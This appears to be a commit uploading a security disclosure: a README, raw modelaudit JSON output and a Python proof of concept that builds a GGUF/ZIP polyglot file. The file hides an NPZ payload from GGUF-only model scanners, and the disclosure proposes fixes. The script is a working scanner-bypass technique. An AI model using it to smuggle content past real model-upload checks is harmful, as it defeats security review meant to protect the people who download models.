Upload 3 files
Browse files- README.md +83 -3
- modelaudit_output.json +137 -0
- poc_gguf_polyglot_smuggling.py +184 -0
README.md
CHANGED
|
@@ -1,3 +1,83 @@
|
|
| 1 |
-
--
|
| 2 |
-
|
| 3 |
-
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# GGUF/ZIP Structural Polyglot — Cross-Implementation Format-Level Gap + Incomplete Detection in a Production Scanner
|
| 2 |
+
|
| 3 |
+
**Status:** Dual disclosure in preparation — to `ggml-org/llama.cpp` (GGUF specification, via Huntr) and to `promptfoo/modelaudit` (via their coordinated disclosure process)
|
| 4 |
+
**Class:** CWE-436 (Interpretation Conflict), CWE-20 (Improper Input Validation)
|
| 5 |
+
**Severity:** Medium — not a crash/RCE by itself; a security-control-bypass / detection-gap primitive whose real-world impact depends on what a specific pipeline does with the "other" interpretation of the file.
|
| 6 |
+
|
| 7 |
+
## Summary
|
| 8 |
+
|
| 9 |
+
The GGUF specification never requires an implementation to verify that a file's total length matches exactly what its declared header, key-value metadata, and tensor data actually consume. Confirmed empirically across **three independent GGUF implementations, in three different languages, by three different authors/teams**:
|
| 10 |
+
|
| 11 |
+
| Implementation | Language | Author | Result |
|
| 12 |
+
|---|---|---|---|
|
| 13 |
+
| `gguf-py` | Python | ggml-org/llama.cpp (reference) | **Accepts trailing garbage** |
|
| 14 |
+
| `fs/gguf` | Go | ollama/ollama (independent reimplementation) | **Accepts trailing garbage** |
|
| 15 |
+
| `gguf` crate | Rust | Jiayu Liu (independent, crates.io) | **Accepts trailing garbage** |
|
| 16 |
+
|
| 17 |
+
All three parse a file consisting of `[valid GGUF content][arbitrary trailing bytes]` as a fully valid GGUF file, silently ignoring everything after the last tensor's data.
|
| 18 |
+
|
| 19 |
+
Separately, Python's `zipfile` module (and ZIP readers generally) locate the "End of Central Directory" record by scanning **backward from EOF** — meaning a ZIP archive parses correctly even when arbitrary bytes precede it.
|
| 20 |
+
|
| 21 |
+
**Combining these two facts:** `[valid GGUF prefix][valid ZIP/NPZ suffix]` is simultaneously valid under both formats — a genuine, working structural polyglot.
|
| 22 |
+
|
| 23 |
+
## Contrast: formats that are NOT vulnerable to this specific technique
|
| 24 |
+
|
| 25 |
+
The same technique was tested against two other formats and found **not** vulnerable, for informative, structural reasons:
|
| 26 |
+
|
| 27 |
+
- **ONNX (protobuf):** `ParseFromString()` requires the *entire* buffer to parse as valid protobuf fields; trailing non-protobuf bytes break parsing (`DecodeError`).
|
| 28 |
+
- **safetensors (Rust):** has an explicit `buffer_end + N_LEN + n != buffer_len` check — the total file size must exactly equal declared header + data, with zero tolerance for extra bytes. This appears to be a deliberate hardening: **Trail of Bits' 2023 audit of safetensors (commissioned by Hugging Face, EleutherAI, and Stability AI) explicitly found and had fixed a "polyglot files" issue** in that format — direct historical precedent that this vulnerability *class* is real, recognized, and has previously required a fix in adjacent tooling.
|
| 29 |
+
|
| 30 |
+
This makes the pattern precise: **polyglot-vulnerability correlates with whether a format's parser validates that it consumed the entire file, versus trusting a validated prefix and silently ignoring the rest.**
|
| 31 |
+
|
| 32 |
+
## Concrete exploitation scenario (demonstrated, not hypothetical)
|
| 33 |
+
|
| 34 |
+
`poc_gguf_polyglot_smuggling.py` builds a single 760-byte file with a `.gguf` extension that:
|
| 35 |
+
|
| 36 |
+
- **Looks completely clean** to any GGUF-aware scanner: one tensor named `dummy.weight` = `[0,0,0,0]`, metadata name `"tiny-demo-model"` — nothing to flag.
|
| 37 |
+
- **Actually carries a hidden NPZ payload** with different, real content (`real_backdoor_weights = [1337, 6666, 9999]`, `exfil_marker = [42, 42, 42]`) that a GGUF-only scanner never inspects.
|
| 38 |
+
|
| 39 |
+
The script demonstrates three stages against the identical file:
|
| 40 |
+
|
| 41 |
+
```
|
| 42 |
+
=== Stage A: security scanner (GGUF-aware) ===
|
| 43 |
+
model name : 'tiny-demo-model'
|
| 44 |
+
tensors : [('dummy.weight', [0.0, 0.0, 0.0, 0.0])]
|
| 45 |
+
verdict : APPROVED -- looks like a tiny, harmless demo model.
|
| 46 |
+
|
| 47 |
+
=== Stage B: downstream tool (treats file as ZIP/NPZ) ===
|
| 48 |
+
found hidden array 'real_backdoor_weights.npy': [1337. 6666. 9999.]
|
| 49 |
+
found hidden array 'exfil_marker.npy': [42 42 42]
|
| 50 |
+
This data was NEVER inspected by Stage A's GGUF scan.
|
| 51 |
+
```
|
| 52 |
+
|
| 53 |
+
Stage A and Stage B are not contrived — they represent any pipeline where one stage validates GGUF-ness and a *different* stage (a generic archive-indexer, backup/dedup tool, or anything that might treat an upload as "possibly a ZIP-based sidecar bundle") extracts the ZIP content.
|
| 54 |
+
|
| 55 |
+
## Real-world detection test: Promptfoo's `modelaudit`
|
| 56 |
+
|
| 57 |
+
To move beyond a hypothetical pipeline, the same file was scanned with [`modelaudit`](https://pypi.org/project/modelaudit/) — Promptfoo's open-source, SOC2-certified, production ML-model security scanner (Promptfoo is now part of OpenAI; `modelaudit` has a dedicated, named GGUF/GGML scanner advertised to ensure files "are structurally sound and don't contain hidden threats").
|
| 58 |
+
|
| 59 |
+
```
|
| 60 |
+
=== Stage C: modelaudit (Promptfoo/OpenAI production scanner) ===
|
| 61 |
+
rule S902: Size mismatch for tensor dummy.weight (severity=warning)
|
| 62 |
+
```
|
| 63 |
+
|
| 64 |
+
This is a genuinely useful, honest result, not a clean bypass:
|
| 65 |
+
|
| 66 |
+
- `modelaudit` **does** detect an anomaly — rule `S902`, "Tensor Size Consistency Check" — flagging that the file is larger (632 bytes after the tensor) than the declared tensor data requires (16 bytes, ±32-byte alignment tolerance).
|
| 67 |
+
- However, this check identifies only the **symptom** (unexpected trailing bytes), not the **cause**. `modelaudit` ships its own separate **ZIP Archive Scanner** (with zip-bomb, directory-traversal, and nested-content checks) and **Pickle Scanner** — either of which would meaningfully inspect the smuggled content — but neither is invoked recursively on the unexplained trailing bytes of a file already classified as GGUF.
|
| 68 |
+
- The finding's severity is `"warning"`, not `"critical"`. `modelaudit` supports per-rule severity overrides (`-S CODE=LEVEL`) and SARIF output specifically for CI/CD triage — a very common real-world pattern is to gate deployment only on `critical`/`error`-severity findings and merely log warnings, in which case this specific detection would not block a release by itself, even though the raw CLI exit code (1) technically indicates "issues found."
|
| 69 |
+
|
| 70 |
+
## Suggested fixes
|
| 71 |
+
|
| 72 |
+
**For the GGUF specification / `ggml-org/llama.cpp`:** require (or at minimum strongly recommend, with implementations expected to warn/reject) that the total consumed byte count (header + KV metadata + tensor info + tensor data, including alignment padding) equals the total file size, the same way `safetensors` already does. This is a spec-level, cross-implementation gap, not a fix in any single one of the three tested implementations.
|
| 73 |
+
|
| 74 |
+
**For `modelaudit`:** when the GGUF scanner's own `S902` (tensor size mismatch / unexpected trailing bytes) check fires, recursively apply the existing ZIP Archive Scanner (and other appropriate scanners) to the unexplained trailing region, rather than only reporting the size discrepancy in isolation. Consider whether "unexplained trailing bytes matching a valid ZIP/archive signature" warrants a higher default severity than a generic alignment warning, given the demonstrated smuggling potential.
|
| 75 |
+
|
| 76 |
+
## Files in this disclosure
|
| 77 |
+
|
| 78 |
+
- `poc_gguf_polyglot_smuggling.py` — self-contained PoC (builds the file, runs all three stages)
|
| 79 |
+
- `modelaudit_output.json` — raw JSON output from the real `modelaudit` scan for reference
|
| 80 |
+
|
| 81 |
+
## Disclosure
|
| 82 |
+
|
| 83 |
+
Please do not use this PoC against production systems you do not own or have explicit permission to test.
|
modelaudit_output.json
ADDED
|
@@ -0,0 +1,137 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"bytes_scanned": 115,
|
| 3 |
+
"issues": [
|
| 4 |
+
{
|
| 5 |
+
"message": "Size mismatch for tensor dummy.weight",
|
| 6 |
+
"severity": "warning",
|
| 7 |
+
"location": "/mnt/user-data/outputs/model_smuggled.gguf",
|
| 8 |
+
"details": {
|
| 9 |
+
"tensor_name": "dummy.weight",
|
| 10 |
+
"expected": 16,
|
| 11 |
+
"actual": 632,
|
| 12 |
+
"alignment_tolerance": 32
|
| 13 |
+
},
|
| 14 |
+
"timestamp": 1784671051.78295,
|
| 15 |
+
"type": "gguf_check",
|
| 16 |
+
"rule_code": "S902"
|
| 17 |
+
}
|
| 18 |
+
],
|
| 19 |
+
"checks": [
|
| 20 |
+
{
|
| 21 |
+
"name": "Path Exists",
|
| 22 |
+
"status": "passed",
|
| 23 |
+
"message": "Path exists",
|
| 24 |
+
"location": "/mnt/user-data/outputs/model_smuggled.gguf",
|
| 25 |
+
"details": {
|
| 26 |
+
"path": "/mnt/user-data/outputs/model_smuggled.gguf"
|
| 27 |
+
},
|
| 28 |
+
"timestamp": 1784671051.781962
|
| 29 |
+
},
|
| 30 |
+
{
|
| 31 |
+
"name": "Path Readable",
|
| 32 |
+
"status": "passed",
|
| 33 |
+
"message": "Path is readable",
|
| 34 |
+
"location": "/mnt/user-data/outputs/model_smuggled.gguf",
|
| 35 |
+
"details": {
|
| 36 |
+
"path": "/mnt/user-data/outputs/model_smuggled.gguf"
|
| 37 |
+
},
|
| 38 |
+
"timestamp": 1784671051.7820094
|
| 39 |
+
},
|
| 40 |
+
{
|
| 41 |
+
"name": "File Type Validation",
|
| 42 |
+
"status": "passed",
|
| 43 |
+
"message": "File type validation passed",
|
| 44 |
+
"location": "/mnt/user-data/outputs/model_smuggled.gguf",
|
| 45 |
+
"details": {},
|
| 46 |
+
"timestamp": 1784671051.7820897
|
| 47 |
+
},
|
| 48 |
+
{
|
| 49 |
+
"name": "File Integrity Hash",
|
| 50 |
+
"status": "passed",
|
| 51 |
+
"message": "File integrity hashes calculated",
|
| 52 |
+
"location": "/mnt/user-data/outputs/model_smuggled.gguf",
|
| 53 |
+
"details": {
|
| 54 |
+
"md5": "5ad016af67d8f4e19be63e9c629eb57e",
|
| 55 |
+
"sha256": "8528a052327d0898bdae58875691f8ea0572d1f3c628db099b5655ff44819a2c",
|
| 56 |
+
"sha512": "912e1e36831b7e16732785be5d30d56ba6690cebaf7dfc515077699fe0db2191d032ae3f66ecd65f39a08fb2d2a5fc90f74e838dce38b2952ce6a7ddf14107e0",
|
| 57 |
+
"file_size": 760
|
| 58 |
+
},
|
| 59 |
+
"timestamp": 1784671051.7825348
|
| 60 |
+
},
|
| 61 |
+
{
|
| 62 |
+
"name": "Tensor Size Consistency Check",
|
| 63 |
+
"status": "failed",
|
| 64 |
+
"message": "Size mismatch for tensor dummy.weight",
|
| 65 |
+
"severity": "warning",
|
| 66 |
+
"location": "/mnt/user-data/outputs/model_smuggled.gguf",
|
| 67 |
+
"details": {
|
| 68 |
+
"tensor_name": "dummy.weight",
|
| 69 |
+
"expected": 16,
|
| 70 |
+
"actual": 632,
|
| 71 |
+
"alignment_tolerance": 32
|
| 72 |
+
},
|
| 73 |
+
"rule_code": "S902",
|
| 74 |
+
"timestamp": 1784671051.7829046
|
| 75 |
+
}
|
| 76 |
+
],
|
| 77 |
+
"files_scanned": 1,
|
| 78 |
+
"assets": [
|
| 79 |
+
{
|
| 80 |
+
"path": "/mnt/user-data/outputs/model_smuggled.gguf",
|
| 81 |
+
"type": "gguf",
|
| 82 |
+
"size": 760,
|
| 83 |
+
"tensors": [
|
| 84 |
+
"dummy.weight"
|
| 85 |
+
]
|
| 86 |
+
}
|
| 87 |
+
],
|
| 88 |
+
"has_errors": false,
|
| 89 |
+
"scanner_names": [
|
| 90 |
+
"gguf"
|
| 91 |
+
],
|
| 92 |
+
"file_metadata": {
|
| 93 |
+
"/mnt/user-data/outputs/model_smuggled.gguf": {
|
| 94 |
+
"file_size": 760,
|
| 95 |
+
"file_hashes": {
|
| 96 |
+
"md5": "5ad016af67d8f4e19be63e9c629eb57e",
|
| 97 |
+
"sha256": "8528a052327d0898bdae58875691f8ea0572d1f3c628db099b5655ff44819a2c",
|
| 98 |
+
"sha512": "912e1e36831b7e16732785be5d30d56ba6690cebaf7dfc515077699fe0db2191d032ae3f66ecd65f39a08fb2d2a5fc90f74e838dce38b2952ce6a7ddf14107e0"
|
| 99 |
+
},
|
| 100 |
+
"member_file_hashes": {},
|
| 101 |
+
"license_info": [],
|
| 102 |
+
"copyright_notices": [],
|
| 103 |
+
"license_files_nearby": [],
|
| 104 |
+
"is_dataset": false,
|
| 105 |
+
"is_model": false,
|
| 106 |
+
"risk_score": 0.0,
|
| 107 |
+
"scan_timestamp": 1784671051.785548,
|
| 108 |
+
"scanner_dependency_ids": [
|
| 109 |
+
"gguf"
|
| 110 |
+
],
|
| 111 |
+
"format": "gguf",
|
| 112 |
+
"version": 3,
|
| 113 |
+
"n_tensors": 1,
|
| 114 |
+
"n_kv": 1,
|
| 115 |
+
"metadata": {
|
| 116 |
+
"general.name": "tiny-demo-model"
|
| 117 |
+
},
|
| 118 |
+
"tensors": [
|
| 119 |
+
{
|
| 120 |
+
"name": "dummy.weight",
|
| 121 |
+
"type": 0,
|
| 122 |
+
"dims": [
|
| 123 |
+
4
|
| 124 |
+
]
|
| 125 |
+
}
|
| 126 |
+
],
|
| 127 |
+
"tensor_count_reported": 1
|
| 128 |
+
}
|
| 129 |
+
},
|
| 130 |
+
"content_hash": "b46052d72dec4843a9a8ba34201d8d0d7943164783a8ec225620ead5cf723a6f",
|
| 131 |
+
"start_time": 1784671051.3510606,
|
| 132 |
+
"duration": 1.0525662899017334,
|
| 133 |
+
"total_checks": 5,
|
| 134 |
+
"passed_checks": 4,
|
| 135 |
+
"failed_checks": 1,
|
| 136 |
+
"success": true
|
| 137 |
+
}
|
poc_gguf_polyglot_smuggling.py
ADDED
|
@@ -0,0 +1,184 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC: GGUF/ZIP Structural Polyglot -- Security Scanner Bypass via
|
| 4 |
+
Interpretation Conflict (CWE-436)
|
| 5 |
+
|
| 6 |
+
Root cause: the GGUF specification never requires an implementation to
|
| 7 |
+
verify that a file's total length matches exactly what its declared
|
| 8 |
+
header/tensor-info/tensor-data actually consumes. Confirmed empirically
|
| 9 |
+
across THREE independent GGUF implementations, in three different
|
| 10 |
+
languages, by three different authors/teams:
|
| 11 |
+
|
| 12 |
+
- gguf-py (Python, ggml-org/llama.cpp reference implementation)
|
| 13 |
+
- fs/gguf (Go, ollama/ollama's own independent reimplementation)
|
| 14 |
+
- gguf crate (Rust, independently authored by Jiayu Liu)
|
| 15 |
+
|
| 16 |
+
All three accept a file consisting of [valid GGUF content][arbitrary
|
| 17 |
+
trailing bytes] as a fully valid GGUF file, silently ignoring
|
| 18 |
+
everything after the last tensor's data. Separately, Python's own
|
| 19 |
+
`zipfile` module builds ZIP archives by locating the "End of Central
|
| 20 |
+
Directory" record by scanning backward from EOF -- meaning a ZIP
|
| 21 |
+
archive can be validly opened even when arbitrary bytes precede it.
|
| 22 |
+
|
| 23 |
+
Combining these two facts: [valid GGUF prefix][valid ZIP/NPZ suffix]
|
| 24 |
+
is simultaneously valid under BOTH formats. Two contrasting formats
|
| 25 |
+
tested and found NOT vulnerable to this specific technique: ONNX
|
| 26 |
+
(protobuf's ParseFromString requires the ENTIRE buffer to be valid
|
| 27 |
+
protobuf) and safetensors (explicit `total_size == header + data`
|
| 28 |
+
check in its Rust core).
|
| 29 |
+
|
| 30 |
+
Threat scenario demonstrated here (CWE-436, Interpretation Conflict):
|
| 31 |
+
a model-hosting/scanning pipeline where stage A validates an uploaded
|
| 32 |
+
file as GGUF and only inspects the GGUF-visible content (approving it
|
| 33 |
+
as safe/clean), while a DIFFERENT stage B elsewhere in the same
|
| 34 |
+
pipeline (e.g. a generic archive-indexing utility, a backup/dedup
|
| 35 |
+
tool, or any code that treats uploaded files as "might also be a zip
|
| 36 |
+
sidecar bundle") extracts and uses the hidden ZIP payload -- content
|
| 37 |
+
that stage A's security review NEVER saw.
|
| 38 |
+
|
| 39 |
+
This script builds one 760-byte file with a `.gguf` extension that:
|
| 40 |
+
- Looks completely clean to a GGUF scanner: 1 tensor named
|
| 41 |
+
"dummy.weight", value [0,0,0,0], metadata name "tiny-demo-model" --
|
| 42 |
+
nothing a scanner would flag.
|
| 43 |
+
- Actually carries a hidden NPZ payload with different, real values
|
| 44 |
+
that a GGUF-only scanner never inspects.
|
| 45 |
+
|
| 46 |
+
It then simulates both pipeline stages against the SAME file to show
|
| 47 |
+
they see different content.
|
| 48 |
+
|
| 49 |
+
Requires: pip install gguf numpy
|
| 50 |
+
"""
|
| 51 |
+
|
| 52 |
+
import io
|
| 53 |
+
import struct
|
| 54 |
+
import numpy as np
|
| 55 |
+
from gguf.gguf_reader import GGUFReader
|
| 56 |
+
|
| 57 |
+
|
| 58 |
+
POLYGLOT_PATH = "model_smuggled.gguf"
|
| 59 |
+
|
| 60 |
+
|
| 61 |
+
def build_polyglot(path: str) -> None:
|
| 62 |
+
GGUF_MAGIC = 0x46554747
|
| 63 |
+
|
| 64 |
+
def pack_str(s: str) -> bytes:
|
| 65 |
+
b = s.encode("utf-8")
|
| 66 |
+
return struct.pack("<Q", len(b)) + b
|
| 67 |
+
|
| 68 |
+
# --- Part 1: the GGUF content a scanner will see ---
|
| 69 |
+
header = struct.pack("<I", GGUF_MAGIC)
|
| 70 |
+
header += struct.pack("<I", 3)
|
| 71 |
+
header += struct.pack("<Q", 1) # tensor_count = 1
|
| 72 |
+
header += struct.pack("<Q", 1) # kv_count = 1
|
| 73 |
+
|
| 74 |
+
kv = pack_str("general.name")
|
| 75 |
+
kv += struct.pack("<I", 8) # STRING
|
| 76 |
+
kv += pack_str("tiny-demo-model")
|
| 77 |
+
|
| 78 |
+
ti = pack_str("dummy.weight")
|
| 79 |
+
ti += struct.pack("<I", 1)
|
| 80 |
+
ti += struct.pack("<Q", 4)
|
| 81 |
+
ti += struct.pack("<I", 0) # F32
|
| 82 |
+
ti += struct.pack("<Q", 0)
|
| 83 |
+
|
| 84 |
+
pre = header + kv + ti
|
| 85 |
+
pre += b"\x00" * ((-len(pre)) % 32)
|
| 86 |
+
tensor_data = np.array([0.0, 0.0, 0.0, 0.0], dtype=np.float32).tobytes()
|
| 87 |
+
tensor_data += b"\x00" * ((-len(tensor_data)) % 32)
|
| 88 |
+
gguf_part = pre + tensor_data
|
| 89 |
+
|
| 90 |
+
# --- Part 2: the REAL payload, hidden as a trailing ZIP/NPZ ---
|
| 91 |
+
buf = io.BytesIO()
|
| 92 |
+
np.savez(
|
| 93 |
+
buf,
|
| 94 |
+
real_backdoor_weights=np.array([1337.0, 6666.0, 9999.0]),
|
| 95 |
+
exfil_marker=np.array([42, 42, 42]),
|
| 96 |
+
)
|
| 97 |
+
zip_part = buf.getvalue()
|
| 98 |
+
|
| 99 |
+
with open(path, "wb") as f:
|
| 100 |
+
f.write(gguf_part + zip_part)
|
| 101 |
+
|
| 102 |
+
|
| 103 |
+
def stage_a_security_scanner(path: str) -> None:
|
| 104 |
+
"""Simulates an upload scanner that validates the file as GGUF and
|
| 105 |
+
inspects only what the GGUF format exposes."""
|
| 106 |
+
print("=== Stage A: security scanner (GGUF-aware) ===")
|
| 107 |
+
r = GGUFReader(path)
|
| 108 |
+
name = r.get_field("general.name").contents()
|
| 109 |
+
tensors = [(t.name, t.data.tolist()) for t in r.tensors]
|
| 110 |
+
print(f" model name : {name!r}")
|
| 111 |
+
print(f" tensors : {tensors}")
|
| 112 |
+
print(" verdict : APPROVED -- looks like a tiny, harmless demo model.\n")
|
| 113 |
+
|
| 114 |
+
|
| 115 |
+
def stage_b_downstream_consumer(path: str) -> None:
|
| 116 |
+
"""Simulates a different pipeline stage that treats the same file
|
| 117 |
+
as a ZIP archive (e.g. a generic archive-indexing / backup tool),
|
| 118 |
+
revealing content Stage A never saw."""
|
| 119 |
+
print("=== Stage B: downstream tool (treats file as ZIP/NPZ) ===")
|
| 120 |
+
import zipfile
|
| 121 |
+
zf = zipfile.ZipFile(path)
|
| 122 |
+
for name in zf.namelist():
|
| 123 |
+
arr = np.load(io.BytesIO(zf.read(name)), allow_pickle=False)
|
| 124 |
+
print(f" found hidden array {name!r}: {arr}")
|
| 125 |
+
print(" This data was NEVER inspected by Stage A's GGUF scan.\n")
|
| 126 |
+
|
| 127 |
+
|
| 128 |
+
def stage_c_production_scanner(path: str) -> None:
|
| 129 |
+
"""Runs the same file through `modelaudit` (Promptfoo/OpenAI's real,
|
| 130 |
+
production ML-model security scanner, SOC2-certified, MIT licensed,
|
| 131 |
+
pip install modelaudit) to see how a real security tool handles it."""
|
| 132 |
+
import subprocess
|
| 133 |
+
import json as jsonlib
|
| 134 |
+
|
| 135 |
+
print("=== Stage C: modelaudit (Promptfoo/OpenAI production scanner) ===")
|
| 136 |
+
result = subprocess.run(
|
| 137 |
+
["modelaudit", "scan", path, "--format", "json"],
|
| 138 |
+
capture_output=True, text=True,
|
| 139 |
+
)
|
| 140 |
+
try:
|
| 141 |
+
report = jsonlib.loads(result.stdout)
|
| 142 |
+
except Exception:
|
| 143 |
+
print(" (could not parse modelaudit output -- is it installed? `pip install modelaudit`)")
|
| 144 |
+
return
|
| 145 |
+
|
| 146 |
+
issues = report.get("issues", [])
|
| 147 |
+
if not issues:
|
| 148 |
+
print(" modelaudit reported ZERO issues -- silent bypass.")
|
| 149 |
+
else:
|
| 150 |
+
for issue in issues:
|
| 151 |
+
print(f" rule {issue.get('rule_code')}: {issue.get('message')} "
|
| 152 |
+
f"(severity={issue.get('severity')})")
|
| 153 |
+
print(
|
| 154 |
+
"\n NOTE: this flags a generic size/alignment anomaly (symptom), but does\n"
|
| 155 |
+
" NOT identify or recursively scan the actual hidden ZIP payload content --\n"
|
| 156 |
+
" modelaudit's own separate ZIP Archive Scanner and Pickle Scanner (which\n"
|
| 157 |
+
" WOULD inspect exactly this kind of embedded content) are never invoked\n"
|
| 158 |
+
" on the smuggled bytes. Severity is 'warning', not 'critical' -- CI/CD\n"
|
| 159 |
+
" gates that filter by severity (common practice, supported directly via\n"
|
| 160 |
+
" modelaudit's own `-S CODE=LEVEL` and SARIF output) may not block on this."
|
| 161 |
+
)
|
| 162 |
+
print()
|
| 163 |
+
|
| 164 |
+
|
| 165 |
+
def main():
|
| 166 |
+
build_polyglot(POLYGLOT_PATH)
|
| 167 |
+
print(f"Built {POLYGLOT_PATH}\n")
|
| 168 |
+
stage_a_security_scanner(POLYGLOT_PATH)
|
| 169 |
+
stage_b_downstream_consumer(POLYGLOT_PATH)
|
| 170 |
+
stage_c_production_scanner(POLYGLOT_PATH)
|
| 171 |
+
print(
|
| 172 |
+
"CONFIRMED: the same 760-byte file, with a single .gguf extension,\n"
|
| 173 |
+
"presents completely different content to two different tools in\n"
|
| 174 |
+
"the same pipeline -- a classic CWE-436 Interpretation Conflict,\n"
|
| 175 |
+
"made possible because the GGUF format (in all 3 independent\n"
|
| 176 |
+
"implementations tested: Python, Go, Rust) never rejects trailing\n"
|
| 177 |
+
"bytes after the last declared tensor's data. A real, production\n"
|
| 178 |
+
"security scanner (modelaudit) detects an anomaly but does not\n"
|
| 179 |
+
"identify or scan the actual smuggled content."
|
| 180 |
+
)
|
| 181 |
+
|
| 182 |
+
|
| 183 |
+
if __name__ == "__main__":
|
| 184 |
+
main()
|